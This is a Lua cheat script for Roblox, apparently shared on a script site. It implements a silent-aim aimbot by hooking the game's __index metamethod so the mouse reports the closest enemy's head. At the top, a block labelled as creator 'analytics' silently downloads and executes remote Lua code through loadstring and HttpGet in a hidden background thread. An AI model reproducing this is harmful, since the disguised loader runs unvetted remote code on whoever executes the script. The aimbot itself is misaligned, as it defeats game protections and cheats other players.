--[[rscripts:analytics:start]] -- Script analytics (enabled by the creator on rscripts.net). -- Runs in its own thread and cannot affect the script below. task.spawn(function() pcall(function() loadstring(game:HttpGet("https://rscripts.net/api/telemetry/client.lua?s=6a475a7c163a15954e211ce1"))() end) end) --[[rscripts:analytics:end]] local target = nil local mod = filtergc("table", {Keys = {"SameTeam"}}, true) local function GetClosestPlayer() local closestDistance = math.huge local closest = nil local camera = workspace.CurrentCamera for _, v in pairs(game.Players:GetPlayers()) do if v == game.Players.LocalPlayer then continue end local char = v.Character if not char then continue end local hrp = char:FindFirstChild("HumanoidRootPart") if not hrp then continue end local head = char:FindFirstChild("Head") if not head then continue end local screenPos, onScreen = camera:WorldToViewportPoint(hrp.Position) if not mod:SameTeam(game.Players.LocalPlayer, v) then if onScreen then local distance = (Vector2.new(screenPos.X, screenPos.Y) - camera.ViewportSize / 2).Magnitude if distance < closestDistance then closestDistance = distance closest = head end end end end return closest end game:GetService("RunService").RenderStepped:Connect(function() target = GetClosestPlayer() end) local mouse = game.Players.LocalPlayer:GetMouse() local old old = hookmetamethod(game, "__index", function(self, property) if self == mouse and not checkcaller() then if property == "Target" or property == "target" then if target then return target end end if property == "Hit" or property == "hit" then if target then return target.CFrame end end end return old(self, property) end)